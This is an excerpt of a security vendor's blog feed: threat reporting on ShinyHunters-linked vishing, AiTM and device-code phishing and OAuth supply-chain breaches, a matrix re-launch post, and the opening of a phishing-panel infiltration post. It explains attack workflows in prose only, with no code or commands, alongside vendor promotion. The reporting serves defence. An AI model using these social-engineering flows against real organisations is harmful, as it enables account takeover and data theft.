href="https://www.bleepingcomputer.com/news/security/coinbase-discloses-breach-faces-up-to-400-million-in-losses/">$180M–400M through insider bribery</a> — but these are the exceptions that prove the rule. </p><p>It seems that ShinyHunters have opportunistically returned to the scene of the crime with Instructure because of the proven payoff of targeting EdTech organizations, combined with the existing leverage of data gathered during the previous breach (and previous refusal to pay). This shows that a major data breach is likely to result in further attempts to increase pressure and extort payment. We saw this in 2024&#39;s PowerSchool breach too, where individual victims were hit with blackmail and extortion attempts — even after PowerSchool paid the ransom to avoid such a scenario, but the attackers (unsurprisingly) didn&#39;t keep their end of the bargain. </p><p><b>The vast majority of SLH campaigns over the past year converge on three browser-based attack vectors: vishing combined with AiTM phishing, device code phishing exploiting account authorization flows, and OAuth supply chain attacks through compromised third-party integrators.</b> Each is well-documented, each has produced confirmed victims at scale, and each is detectable or preventable through browser-layer security controls.</p><hr/><h1><b>Vector 1: Vishing combined with AiTM phishing</b></h1><p>The most visible campaign right now pairs targeted voice calls with adversary-in-the-middle phishing pages — an approach that <a href="https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft">Mandiant</a>,<a href="https://www.crowdstrike.com/en-us/blog/defending-against-cordial-spider-and-snarky-spider-with-falcon-shield/"> CrowdStrike</a>, and<a href="https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt"> Unit 42</a> have all documented from the incident response side, and which Push has <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/">documented from inside the attacker&#39;s own operator panels</a>.</p><p>An attacker impersonating IT support calls the target employee, establishes urgency — often citing a &quot;mandatory passkey rollout&quot; or a &quot;security compliance update&quot; — and directs them to a victim-branded AiTM phishing page (typically at a domain like &lt;company&gt;sso.com or &lt;company&gt;internal.com). The attack is processed by a live human in real time, relaying credentials and MFA codes to the legitimate identity provider as they are entered, capturing the resulting session token, and granting the attacker an authenticated session. </p><p>One of the reasons that this method is becoming so widespread is the commoditization of effective tools. Push&#39;s <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/">infiltration of the criminal phishing panels</a> identified over 400 linked domains across four distinct infrastructure clusters. <b>This mirrors the pattern that turned AiTM phishing from a specialist capability into an industrialized market with competing PhaaS platforms, but with the added complication that voice phishing as the delivery vector makes the attack invisible to traditional anti-phishing controls at the email layer.</b></p><p>The speed at which these campaigns execute has compressed dramatically. <a href="https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt">Unit 42 documented</a> Cordial Spider and Snarky Spider moving from initial compromise to complete data exfiltration in under an hour — fast enough that any detection strategy that relies on human SOC triage will arrive after the data has already left the building.</p><hr/><h1><b>Vector 2: Vishing combined with device code phishing</b></h1><p>The <a href="https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/">ShinyHunters Salesforce campaign</a> that ran through 2025 and into 2026 used device code phishing as one of its core methods, <a href="https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/">compromising over 1,000 organizations and claiming 1.5 billion stolen records</a> — including an attempted extortion of Salesforce itself. The attack involved registering an attacker-controlled &quot;DataLoader&quot; application mimicking a legitimate Salesforce tool, configuring it to request broad OAuth scopes including full API access and refresh token generation, and guiding victims through the device authorization flow via vishing calls.</p><p>Device code phishing exploits the OAuth 2.0 device authorization grant — a flow designed for devices without browsers, like smart TVs, but used in a wide range of scenarios including CLI logins — by tricking users into entering a code on Microsoft&#39;s (or another identity provider&#39;s) legitimate verification page. Since the victim is usually signed into the app in their browser, there’s no login at all. They simply navigate to the app’s device code login page and enter an attacker-provided code to grant the attacker an access token. </p><p><b>This is what makes device code phishing structurally different from AiTM: it defeats all MFA (including passkeys) because the attack doesn’t target the login, but the authorization layer instead.</b></p><p>Device code phishing has been rapidly commoditized. What began with <a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/">Storm-2372&#39;s nation-state campaigns in August 2024</a> has since proliferated through criminal kits like EvilTokens and Venom — which reuses Sneaky2FA&#39;s AiTM infrastructure while adding device code phishing options — and more recently through Tycoon2FA, which has <a href="https://pushsecurity.com/blog/device-code-phishing/">adopted device code phishing capabilities</a> alongside its established AiTM functionality. Push now tracks 12+ distinct device code phishing kits in the wild and has measured a <b>37.5x increase in device code phishing activity since the start of 2026</b>. </p><hr/><h1><b>Vector 3: OAuth supply chain attacks through compromised integrators</b></h1><p>The third vector does not require the attacker to phish the victim organization&#39;s employees at all. Instead, it exploits the OAuth trust relationships that organizations create when they connect third-party SaaS vendors into their environments — and the consequence is that every organization that authorized one of these integrations effectively extended its security boundary to include the vendor&#39;s own security posture.</p><p>The <a href="https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift">Salesloft/Drift supply chain attack</a> demonstrated this at scale in 2025: in an extension of the previously mentioned device code phishing campaign, the attacker compromised Salesloft&#39;s GitHub environment, used TruffleHog to find secrets, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight. </p><p>Along with the previously mentioned device code phishing attacks,  more than 1000 organizations were breached. The attackers then harvested AWS keys, Snowflake credentials, and stored passwords from breached Salesforce instances, compounding the access into progressively wider reach.</p><p>The same structural pattern has continued into 2026 with the Anodot supply chain compromise, which has produced confirmed breaches at <a href="https://www.bleepingcomputer.com/news/security/vimeo-data-breach-exposes-personal-information-of-119-000-people/">Vimeo</a> (119,000 users), Rockstar Games (78.6 million records), and <a href="https://www.bleepingcomputer.com/news/security/zara-data-breach-exposed-personal-information-of-197-000-people/">Zara/Inditex</a> (197,000 people), with further downstream victims likely still emerging. The <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/">Vercel breach</a>, which involved compromised OAuth tokens from Context.ai cascading into Google Workspace, also reinforces the same attack pattern (though it was likely not a ShinyHunters operation despite being claimed by someone pretending to be them).</p><p>A forgotten SaaS integration can easily become the pivot point for downstream compromise. The moment you authorize a third-party integration, your security boundary extends to include that vendor. If the third-party is compromised, every downstream customer organization with an active integration is exposed.</p><hr/><h1><b>The infostealer credential playbook sits alongside these attacks</b></h1><p>Alongside the three vectors above, ShinyHunters has a track record of exploiting the infostealer credential economy at scale — and it predates any of them. The 2024 Snowflake campaign — 165+ customer environments compromised, over a billion records stolen from AT&amp;T, Ticketmaster, Santander, and Advance Auto Parts among others — was built entirely on infostealer-harvested credentials replayed against MFA-less tenants, with <a href="https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion">Mandiant&#39;s investigation</a> finding that 80% of compromised accounts had prior breach exposure in datasets dating back to 2020. The credentials were already circulating in criminal marketplaces; ShinyHunters simply purchased and operationalized them at industrial scale.</p><p>The same methodology powered the <a href="https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials/">HellCat Jira campaign</a> through 2024–2025, and has now been industrialized as a standalone operation by <a href="https://www.halcyon.ai/jp/threat-group/coinbasecartel">CoinbaseCartel</a>, another criminal group reported to be an offshoot of SLH. CoinbaseCartel&#39;s model is familiar: purchase old infostealer credentials, use them to access cloud and development environments, exfiltrate data, and demand ransom. <a href="https://www.infostealers.com/article/inside-the-coinbase-cartel-how-infostealer-credentials-fueled-a-100-company-ransomware-spree/">Hudson Rock&#39;s analysis</a> of the group&#39;s 170+ claimed victims confirms that roughly 80% had prior infostealer infections predating the attacks. The most recent named victim is <a href="https://www.bleepingcomputer.com/news/security/grafana-says-stolen-github-token-let-hackers-steal-codebase/">Grafana</a>, where a GitHub token compromised via the TanStack npm supply chain attack and missed during credential rotation was used to download the codebase and attempt extortion. </p><hr/><h1><b>These attacks all happen in the browser</b></h1><p>Every one of these attack chains is a browser-based attack that either occurs in the browser (AiTM phishing, device code phishing) or could have been prevented at the browser layer (OAuth consent governance). The techniques are interchangeable — the<a href="https://pushsecurity.com/blog/device-code-phishing/"> same criminal kits now offer AiTM and device code phishing side by side</a>, and the same threat actor (ShinyHunters) has used all three vectors across different campaigns within the same twelve-month period.</p><p>Additionally, infostealer infections themselves are increasingly delivered through browser-based methods like <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection">ClickFix</a>, closing the loop between the credential supply side and the browser-layer detection point.</p><h2><b>How Push can help</b></h2><p>Push operates at the exact point in each of these attack chains where automated intervention can still prevent the compromise. </p><p><b>For vishing + AiTM attacks, </b>Push&#39;s behavioral phishing detection analyzes and blocks the phishing page in real time by detecting it from the user&#39;s browser — regardless of the domains used, hosting infrastructure, or where the URL was delivered.  </p><p><b>For device code phishing,</b> Push detects the phishing pages associated with device code phishing kits — including generic, technique-class detections that catch new kits without requiring kit-specific signatures. Second, Push provides an additional layer of protection on the legitimate device code authentication pages themselves, preventing users from entering attacker-supplied codes into them. Together, these detections cover both the kit-operated phishing infrastructure and the legitimate auth pages that the attack flow depends on.</p><p><b>For OAuth supply chain attacks,</b> Push&#39;s detects and controls OAuth consent flows at the browser layer — capturing which application is requesting access, what scopes it&#39;s requesting, and whether the grant should be permitted under organizational policy. Push customers can also block OAuth connection requests as they transit the browser, enabling security teams to stop unwanted integrations being added in the first place. </p><p><b>For the infostealer credential playbook,</b> Push&#39;s stolen credential detection identifies when employees are using credentials that have appeared in breach datasets or dark web feeds — catching the moment a dormant infostealer credential surfaces at a browser-based login, as well as surfacing insecure login methods missing mitigating controls like MFA and enforcing them through in-browser guardrails. And on the supply side, Push&#39;s ClickFix detection addresses the browser-based delivery vector that is now the primary method for distributing infostealer malware in the first place.</p><p><a href="https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/">Learn more about how you can use Push controls to protect your users from in-browser threats here. </a></p><h2><b>Closing thoughts</b></h2><p>The campaigns documented in this post are not historical — they are ongoing, with new victims surfacing weekly and the underlying criminal infrastructure still actively developing. But the defensive strategy does not require anticipating which specific group, vector, or target sector comes next, because all of them converge on the same control point: the browser, where the attack begins or the integration decision is made. Organizations with browser-layer detection and OAuth governance in place have defense-in-depth against the full range of techniques these groups employ, regardless of which specific vector any given campaign uses.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. </p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p><a href="https://pushsecurity.com/demo/">Book a live demo to learn more.</a></p><hr/><h1><b>Appendix: named ShinyHunters victims since May 2025</b></h1><p>To give an indication of the scale, the following table documents all publicly named victims attributed to ShinyHunters specifically since the Salesforce campaign began in May 2025. It is not exhaustive: ShinyHunters has claimed over 1,000 organizations in aggregate across its Salesforce campaigns alone, and many victims have not been publicly named. This list also doesn’t include the billion-plus records compromised in the 2024 Snowflake breaches. The major ransomware attacks executed against M&amp;S, Co-op, and Jaguar Land Rover claimed by the <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Lapsus$ Hunters &quot;brand&quot;</a> also aren&#39;t listed below. </p><table><tr><td><p><b>Campaign</b></p></td><td><p><b>Began</b></p></td><td><p><b>Named victims</b></p></td><td><p><b>Confirmed impact</b></p></td></tr><tr><td><p><b>ShinyHunters Salesforce Vishing</b> (vishing + device code phishing → Salesforce connected app authorization) 

&amp; <b>Salesloft/Drift Supply Chain</b> (stolen OAuth tokens → downstream Salesforce access)</p></td><td><p>May 2025</p></td><td><p>Coca-Cola Europacific Partners, Cisco, Qantas, LVMH, Adidas, Google, Chanel, Pandora, Allianz Life, Air France-KLM, Farmers Insurance, Workday, TransUnion, Stellantis, Kering, Odido, Hallmark, Salesloft (origin), Toast, Avalara, Fastly, Cato Networks, Cloudflare, Palo Alto Networks, Zscaler, Tenable, Elastic, JFrog, CyberArk, Rubrik, BeyondTrust, Proofpoint, Workiva, Mercer Advisors, Beacon Pointe, Ameriprise, Kemper, Udemy, 7-Eleven, Mytheresa, Marcus &amp; Millichap, Carnival, Pitney Bowes, Alert 360, Amtrak, McGraw-Hill, Canada Life, Charter Communications</p></td><td><p>49 named victims. Confirmed individual impact includes 23M+ records (Coca-Cola), 5.7M records (Qantas), 6.2M customers (Odido), 4.4M consumers (TransUnion), up to 18M records (Stellantis), 13.5M emails (McGraw-Hill), 8.2M emails (Pitney Bowes), 7.5M emails (Carnival), 7-Eleven: 185K confirmed by HIBP (SSNs, driver&#39;s licenses; franchisee data), Charter Communications: millions of records claimed (company disputes scope). </p><p>ShinyHunters claims 1.5B+ Salesforce records across 1,000+ organizations total.</p></td></tr><tr><td><p><b>Vishing + AiTM SSO</b> (vishing → AiTM phishing page → SSO session capture → SaaS data exfiltration)</p></td><td><p>Aug 2025</p></td><td><p>SoundCloud, GrubHub, Panera Bread, Match Group, Crunchbase, Betterment, CarMax, Edmunds, CarGurus, Hims &amp; Hers, University of Pennsylvania, Harvard University, Optimizely, TELUS Digital, Crunchyroll, ADT</p></td><td><p>16 named victims. Confirmed individual impact includes ~30M records (SoundCloud), ~14M records (Panera), 10M+ records (Match Group), ~20M records (Betterment), 5.5M people (ADT), 1M+ records (UPenn), ~1PB stolen from TELUS Digital ($65M ransom refused).</p></td></tr><tr><td><p><b>Anodot Supply Chain</b> (stolen OAuth tokens → downstream Snowflake/BigQuery access)</p></td><td><p>Apr 2026</p></td><td><p>Anodot/Glassbox (origin), Rockstar Games, Vimeo, Zara/Inditex</p></td><td><p>4 named victims (12+ total claimed). 78.6M records (Rockstar Games), 197K individuals (Zara), 119K individuals (Vimeo).</p></td></tr><tr><td><p><b>Other SLH-attributed</b> (misc. vectors including infostealer chains, CI/CD supply chain, SaaS platform compromise)</p></td><td><p>May 2025</p></td><td><p>UK Legal Aid Agency, Mixpanel, Wynn Resorts, Woflow, Vercel, European Commission, Mercor, Medtronic, Instructure</p></td><td><p>10 named victims across varied vectors. Notable: Vercel (Lumma Stealer → Context.ai OAuth app → Google Workspace), European Commission (poisoned Trivy GitHub Action → 340GB across 71 EU entities)</p></td></tr></table><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Introducing the Browser &amp; Identity Attacks Matrix</title>
      <link>https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix</guid>
      <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>We're re-releasing the SaaS attack matrix as the Browser &amp; Identity Attacks Matrix. Here's why we've decided to make the change and what it means.</description>
      <content:encoded><![CDATA[<p>When we released the <a href="https://pushsecurity.com/blog/saas-attack-techniques/">SaaS attack matrix</a> in 2023, we were anticipating a shift that was just beginning to take shape. The techniques that attackers were using to compromise cloud applications and identities weren&#39;t well represented in existing frameworks, and many of the ones we documented hadn&#39;t yet been widely observed in the wild.</p><p>A year later, we <a href="https://pushsecurity.com/blog/the-saas-attack-matrix-one-year-on/">reviewed what had changed</a> and found that the initial access phase — the techniques designed to compromise an identity in the first place — was where almost all of the attacker innovation was concentrated. And two years on, that trend has become the story of the modern threat landscape. </p><p>Today, we&#39;re re-releasing the matrix as the <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/">Browser &amp; Identity Attacks Matrix</a>. The name change isn&#39;t cosmetic. It reflects that the attacks driving the most consequential breaches are browser-based and identity-first.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png" alt="Browser &amp; Identity Attacks Matrix Screenshot"/></figure><hr/><h1><b>Why the scope needed to change</b></h1><p>The original SaaS attack matrix was built around a specific insight: that attacks targeting modern business applications played out entirely over the internet, without touching endpoints or internal networks in any way that EDR or network detection tools would recognize.</p><p>That framing was useful, and it remains true. But it anchored the matrix to the post-access phase — what attackers do once they&#39;re inside a SaaS application — and didn&#39;t give enough weight to the initial access techniques that determine whether attackers get there in the first place.</p><p>The problem is that initial access is where the overwhelming majority of attacker innovation and investment is concentrated, and the techniques being used to achieve it are best understood as browser and identity attacks rather than SaaS-specific ones. AiTM phishing, ClickFix and its growing family of clipboard-injection variants, device code phishing, OAuth consent abuse, credential stuffing powered by infostealer supply chains, malicious browser extensions all happen in or via the browser.</p><p>Another issue is that &quot;SaaS&quot; has arguably ceased to be a meaningful category. When we consider that most organizations run the majority of their business on cloud applications, the difference between what constitutes &quot;SaaS&quot; versus cloud versus just &quot;business IT&quot; is pretty blurry (and feels like an academic rather than practical difference).</p><p><b>So it&#39;s less about whether an attack is a &quot;SaaS attack&quot; and more about how these attacks actually play out. </b></p><hr/><h1><b>The technique landscape has transformed</b></h1><p>The second part to the change is the fact that scale and speed of attacker innovation in the space justifies it.</p><p>When we launched the matrix in mid-2023, AiTM phishing was emerging as a serious concern but was far from ubiquitous. ClickFix didn&#39;t exist as a named technique. Device code phishing was a curiosity documented by a handful of researchers. ConsentFix was years away from being discovered. Browser extension supply chain attacks were rare enough to be individually notable.</p><p>In the two and a half years since, every one of these has become a mainstream, industrialized attack technique — and several have converged in ways that would have been hard to predict.</p><h2><b>AiTM phishing has become the default phishing method</b></h2><p>AiTM phishing is now the standard, powered by Phishing-as-a-Service kits that operate with the release cycles and customer support of legitimate SaaS products. Tycoon 2FA alone accounted for <a href="https://pushsecurity.com/blog/2025-top-phishing-trends/">62% of phishing detected by Microsoft</a> and over 64,000 confirmed incidents, with Sneaky2FA, FlowerStorm, Evilginx, and a growing roster of competitors filling out the marketplace.</p><p>AiTM is constantly evolving, with vendors adding new features, capabilities, detection evasion techniques, and so on. Abuse of legitimate platforms, and increasingly AI-assisted development means that it’s trivial for attackers to spin up and tear down infrastructure, scale their campaigns, target specific organizations with crafted pages and lures, and generally means that attackers can operate highly sophisticated attacks with minimal effort and complexity. This makes AiTM and other PhaaS-powered techniques extremely accessible to all kinds of criminals.  </p><p>These kits are delivered across several browser-based channels — not just email. Push data consistently shows that roughly 1 in 3 phishing payloads we intercept arrive via social media, search ads, messaging apps, or other non-email vectors.</p><p>Vishing has also surged as a delivery channel — CrowdStrike documented a <b>442% year-over-year increase</b>, and Mandiant found it was the single most common initial vector in cloud compromises at 23%. But the trend that matters isn&#39;t voice calls in isolation; it&#39;s voice calls combined with browser-based payloads, where a live operator guides the victim into an AiTM page or device code flow that the call alone could not execute.</p><h2><b>ClickFix is the top reported initial access vector</b></h2><p>ClickFix has gone from nonexistent to one of the most prevalent initial access techniques in under 18 months. Microsoft reported it as the <a href="https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf">most common initial access vector in 2025</a>, accounting for 47% of observed attacks, while CrowdStrike documented a <a href="https://www.crowdstrike.com/explore/2026-global-threat-report">563% increase</a> in fake CAPTCHA lures (a top ClickFix style).</p><p>ClickFix is admittedly an outlier in a browser attacks matrix — the payload ultimately executes on the endpoint, not in the browser — but the delivery is overwhelmingly browser-based: <b>4 in 5 ClickFix payloads</b> intercepted by Push arrive via search engines as a result of malvertising or compromised web pages, not email, which means the browser is the only control point that actually sees the attack before the user pastes the malicious command.</p><p>ClickFix is now the primary delivery mechanism for infostealer malware, which is in turn the primary source of the stolen credentials and session tokens that power credential stuffing and session hijacking — which means the technique sits at the start of a cycle where one class of browser-delivered attack generates the raw material for the next.</p><p>The success of ClickFix has predictably spawned a growing family of derivatives — FileFix, CrashFix, <a href="https://pushsecurity.com/blog/installfix/">InstallFix</a> — and much of the naming is marketing hype around variations on the same clipboard-injection mechanic. But <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a> was a genuinely novel development.</p><h2><b>Browser-native ClickFix: ConsentFix</b></h2><p>ConsentFix is a fully browser-native attack that merged ClickFix-style social engineering with OAuth consent abuse, compromising accounts through a legitimate Microsoft authorization flow with no endpoint component at all. ConsentFix was <a href="https://pushsecurity.com/blog/consentfix-debrief/">traced to APT29</a> and has since been <a href="https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/">commercialized on criminal forums</a>, following the same path from state-sponsored technique to commodity criminal tooling that we&#39;ve seen repeatedly in this space.</p><p>ConsentFix demonstrates that the clipboard-injection mechanic can evolve into something that operates entirely within the browser, eliminating the endpoint detection surface that traditional ClickFix still exposed.</p><h2><b>Attackers have pivoted to authorization attacks to get around login controls</b></h2><p>Authorization attacks like device code phishing have seen a <a href="https://pushsecurity.com/blog/device-code-phishing/">37.5x increase</a> since the start of 2026, with at least 12 distinct kits now offering the technique. It bypasses standard authentication controls — including passkeys — because the attack occurs through the OAuth device authorization flow rather than the standard login flow. </p><p>The technique was first associated with nation-state actors like Storm-2372, but went from espionage-grade to commodity PhaaS tooling in roughly eighteen months, with kits like EvilTokens and Venom now offering turnkey device code phishing as a service.</p><p>The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that&#39;s needed. No password or MFA required. You can see an example in the video below.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2zbjCCqXRMTvaOr6Xpx2BJ/ccb3000b043b3bbc11a6d2315e66f6f1/Copy_of_Device_code_login_completion.gif" alt="Device code phishing kit example"/><figcaption>Device code phishing kit example.</figcaption></figure><p>And the ecosystem is adapting to this opportunity: established AiTM vendors like Tycoon are adding authorization-focused options alongside their existing credential-harvesting capabilities, which points toward multi-technique platforms where operators pick the right tool for whatever defenses the target has in place.</p><h2><b>Malicious and hacked browser extensions are one of the fastest growing threats</b></h2><p>Malicious browser extensions have matured from an occasional nuisance into a scalable supply chain attack vector. The <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/">Cyberhaven compromise</a> in December 2024 — where approximately 35 extensions were weaponized through a single OAuth phishing campaign targeting developers — impacted 2.6 million users and demonstrated that extension supply chain attacks can achieve the kind of reach that used to require a compromised software update server.</p><p>Since Cyberhaven, the pace has only accelerated. In 2026 alone, researchers have publicly disclosed at least 250 confirmed malicious browser extensions affecting roughly 1.75 million users, alongside a further 370+ extensions engaged in undisclosed or policy-disclosed data harvesting affecting an additional 44 million users. That doesn&#39;t count the extensions from late-2025 campaigns (DarkSpectre, AITOPIA, Trust Wallet) whose impacts carried into 2026.</p><p>The attack paths have also expanded. Beyond phishing developers for take over Web Store accounts (the Cyberhaven playbook), attackers are buying existing extensions from developers, waiting for ownership transfers or abandonments to take over, and increasingly vibe-coding their own functional extensions from scratch to build an audience that can later be weaponized. The common thread is that <a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/"><u>most malicious extensions didn&#39;t start out malicious</u></a> — they started as legitimate tools and were turned into weapons after the fact.</p><p>None of this is happening in isolation. The threat landscape has reoriented around browser-based initial access and identity compromise — and the matrix needed to catch up.</p><hr/><h1><b>The evolution is playing out in public breaches</b></h1><p>It’s worth reinforcing that when the SaaS matrix was first released, many of these attacks hadn’t been seen in the wild. The change today is staggering:</p><ul><li><p>When <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Lapsus$ Hunters</a> compromised over a thousand organizations&#39; Salesforce tenants through device code phishing, the attack started with a phone call, moved through a browser-based authorization flow for the attacker’s app, and ended with mass data exfiltration via API.</p></li><li><p>When the same collective launched <a href="https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/">AiTM phishing campaigns</a> targeting Okta and Entra SSO, the phishing page was operated by a human in real time and delivered over a voice call — not email.</p></li><li><p>When <a href="https://pushsecurity.com/blog/consentfix/">APT29 deployed ConsentFix</a> across dozens of compromised websites, the entire attack chain was browser-native, abusing a legitimate Microsoft OAuth flow to bypass MFA without proxying a single credential.</p></li><li><p>The <a href="https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-snowflake-june-2024">Snowflake breach</a> — arguably the most consequential credential-based campaign of the past several years — saw 165 organizations breached using credentials that had been sitting in infostealer dumps for years, replayed against Snowflake tenants that lacked mandatory MFA. The attack surface wasn&#39;t Snowflake&#39;s application logic; it was the identity hygiene gap that every organization carries across hundreds of apps.</p></li></ul><p>And that’s just the big picture. Every month we’re tracking new public breaches involving browser and identity TTPs — which again, are just the tip of the iceberg when you consider that many breaches are settled quietly without hitting the headlines. </p><p>One of the key drivers here is the shrinking time-to-exploit. CrowdStrike&#39;s average e-crime breakout time is down to <b>29 minutes</b>, with the fastest recorded at 27 seconds. When attackers can move from initial access to data exfiltration within minutes, the window for post-compromise detection collapses to near zero. The best chance of stopping the attack is at the point of initial access before the identity is compromised.</p><hr/><h1><b>Sidenote: why we&#39;re looking at attacks </b><b><i>in</i></b><b> the browser, not </b><b><i>on</i></b><b> the browser</b></h1><p>Calling this a &quot;browser attacks&quot; matrix needs clarification. We&#39;re not talking about browser exploits — RCE vulnerabilities, sandbox escapes, memory corruption bugs. Those attacks target the browser itself, they&#39;re extraordinarily expensive to develop, and they&#39;re increasingly rare. Browser zero-days hit a <a href="https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review">historic low of 9%</a> of all zero-days reported to Google, and a Chrome RCE commands a $250,000 bug bounty.</p><p>In comparison, a one-year phishing kit rental costs $1,000. A bulk stolen credential list costs $15. An initial-access-broker-provided IdP admin account costs $3,000. When it costs orders of magnitude less to exploit the person using the browser than to exploit the browser itself, attackers will take the cheaper option every time.</p><p>It&#39;s worth heading off the obvious counterargument: won&#39;t AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.</p><hr/><h1><b>What hasn&#39;t changed</b></h1><p>The matrix remains open-source, community-maintained, and available on <a href="https://github.com/pushsecurity/saas-attacks">GitHub</a>. The goal is the same as it was in 2023: to give offensive and defensive security teams a shared reference point for the techniques that matter most.</p><p>We built it because there was a gap in how the industry talked about these techniques, and that gap still exists — MITRE ATT&amp;CK remains essential for endpoint and network TTPs, but the browser-based, identity-first techniques behind most modern breaches are still underrepresented in traditional frameworks.</p><p>We continue to maintain the matrix with input from red teams, detection engineers, and threat researchers across the community. Some of the most valuable additions over the past two years have come from practitioners who encountered a technique on an engagement or in an investigation and contributed it back to the repository.</p><p>If you&#39;re an offensive security professional using these techniques on engagements, or a defender building detections against them, we want to hear from you. Submit a PR, open a discussion, or flag a technique we&#39;ve missed on <a href="https://github.com/pushsecurity/browser-identity-attacks-matrix">GitHub</a>.</p><hr/><h1><b>Looking ahead</b></h1><p>The pace of attacker innovation in browser-based initial access techniques over the past 18 months has been unlike anything we&#39;ve tracked before — technique after technique moving from research curiosity to industrialized criminal tooling within months, not years.</p><ul><li><p>AiTM platforms are adding authorization-based attack options alongside their credential-harvesting capabilities.</p></li><li><p>ClickFix has spawned fully browser-native variants.</p></li><li><p>AI is lowering the cost of producing convincing social engineering and phishing infrastructure at scale.</p></li></ul><p>We don&#39;t see any of this slowing down, and that&#39;s exactly why thinking about these attacks as a browser problem instead of siloing them across email, endpoint, network, and cloud categories, each with a partial view of the picture (and still missing the whole when combined).</p><p>The Browser &amp; Identity Attacks Matrix is our contribution to keeping that shared understanding current. You can <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix/">explore the matrix here</a>.</p><p>You can also read our recent <a href="https://pushsecurity.com/thank-you/browser-attacks-report">browser attack techniques report</a> for more information.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p>Book a <a href="https://pushsecurity.com/demo">live demo</a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>We infiltrated a criminal phishing panel: here’s what we found</title>
      <link>https://pushsecurity.com/blog/inside-criminal-phishing-panel</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/inside-criminal-phishing-panel</guid>
      <pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Push Security Research Team</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>We got an inside look at a phishing panel used in criminal campaigns linked to operators like ShinyHunters and BlackFile. Here’s what we found.</description>
      <content:encoded><![CDATA[<p>When Push blocks an attack in the browser, we take the opportunity to do some more digging to see what else we can find. One recent detection led us down the rabbit hole — and right into a criminal phishing panel. </p><p>Real-time operated phishing panels have been used extensively in recent months, in vishing + phishing attacks attributed to first <a href="https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/">ShinyHunters</a>, and more recently the <a href="https://www.bleepingcomputer.com/news/security/new-blackfile-extortion-gang-targets-retail-and-hospitality-orgs/">BlackFile</a> hacking group, with a significant overlap in techniques and tooling. </p><p><b>We’ve directly accessed active deployments of the operator panels driving these campaigns, observed what happens in real-time when a victim is targeted, and analyzed multiple variants and forks of the tooling. </b> </p><p>We identified four primary infrastructure clusters, with each deployment having its own panel implementation. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/68nyea8Rava8TWxoodHhM7/ca0a81e683c541b969703c22a3f2b992/image4.png" alt="One example of a deployment portal identified Push that is currently in active use (redacted)."/><figcaption>One example of a deployment portal identified by Push that is currently in active use 